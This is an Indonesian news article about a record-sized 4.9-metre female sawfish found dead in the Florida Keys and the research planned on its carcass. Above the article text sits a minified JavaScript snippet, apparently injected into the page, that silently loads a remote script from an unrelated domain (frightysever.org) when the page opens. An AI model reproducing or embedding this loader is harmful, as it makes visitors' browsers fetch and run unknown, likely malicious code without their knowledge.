(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ikan Gergaji Terbesar di Dunia Ditemukan Mati

KANALKALIMANTAN.COM – Ikan gergaji terbesar di dunia yang pernah diukur oleh para ilmuwan, ditemukan mati di Florida Keys pekan lalu.

Ikan bermoncong tajam sepanjang 4,9 meter itu merupakan jenis betina dewasa dengan telur seukuran sofbol yang ditemukan di saluran reproduksinya.

Para ahli sekarang tengah mempelajari bangkainya untuk menentukan usia ikan dan untuk mempelajari lebih lanjut tentang masa lalu reproduksinya.

Ikan gergaji terbesar di dunia. Foto: Livescience

“Meskipun kejadian menyedihkan ketika hewan besar seperti itu mati, tapi dari sudut pandang ilmiah kami tahu kami bisa belajar banyak darinya,” kata Gregg Poulakis, ahli biologi ikan di Florida Fish and Wildlife Conservation Commission.

Ikan pemecah rekor tersebut adalah salah satu dari dua ikan gergaji mati yang terdampar di pantai di Keys, satu di dekat Cudjoe Key dan yang lainnya di dekat Marvin Key.

Warga setempat melaporkan penemuan ikan tersebut melalui hotline Commission dan penegak hukum setempat, membantu menarik bangkai ikan ke pantai sehingga peneliti dapat mengukurnya serta mengambil sampel jaringan.

Ikan gergaji telah berada di radar penelitian Commission sejak 2003, ketika ikan tersebut ditambahkan ke daftar spesies terancam punah federal Amerika Serikat.

Dilansir dari Live Science, Senin (12/4/2021), ikan gergaji adalah sejenis ikan pari yang terkenal dengan moncongnya yang pipih seperti gergaji mesin.

Sedikit yang diketahui tentang ikan tersebut sebelum masuk ke dalam daftar spesies yang terancam punah.

“Pada dasarnya, pertanyaan apa pun yang dapat diajukan, seperti seberapa besar mereka? Habitat seperti apa yang mereka butuhkan? Berapa lama mereka hidup? Kami tidak punya jawabannya,” tambah Poulakis.

Saat ini, Poulakis dan ahli lain di Commission serta lembaga penelitian Florida lainnya secara teratur menangkap, menandai, dan melepaskan ikan gergaji sepanjang pantai.

Tim ahli juga menemukan sekitar 20 hingga 30 penampakan yang dilaporkan sebulan dari pelaut dan nelayan.

Lima atau enam kali setahun, ikan gergaji mati terdampar di pantai. Bahkan, bangkai yang telah membusuk sebagian berguna secara ilmiah.

Poulakis menambahkan bahwa kedua ikan gergaji tersebut tidak mengalami cidera atau indikasi lain mengapa hewan itu mati.

Para ahli sedang mempelajari saluran reproduksi ikan untuk memahami lebih lanjut tentang kapan ikan gergaji mencapai kematangan.

Kehamilan ikan gergaji berlangsung sekitar satu tahun dan umumnya melahirkan anak ikan berukuran panjang sekitar 0,7 meter.

Para peneliti juga berencana untuk mengambil sampel DNA, yang dapat dibandingkan dengan DNA ikan gergaji remaja yang ditangkap untuk mencari hubungan di sepanjang garis induk.

Tim pun akan mencari parasit untuk memahami muatan parasit dasar dalam tubuh ikan gergaji. (suara.com)

Editor : kk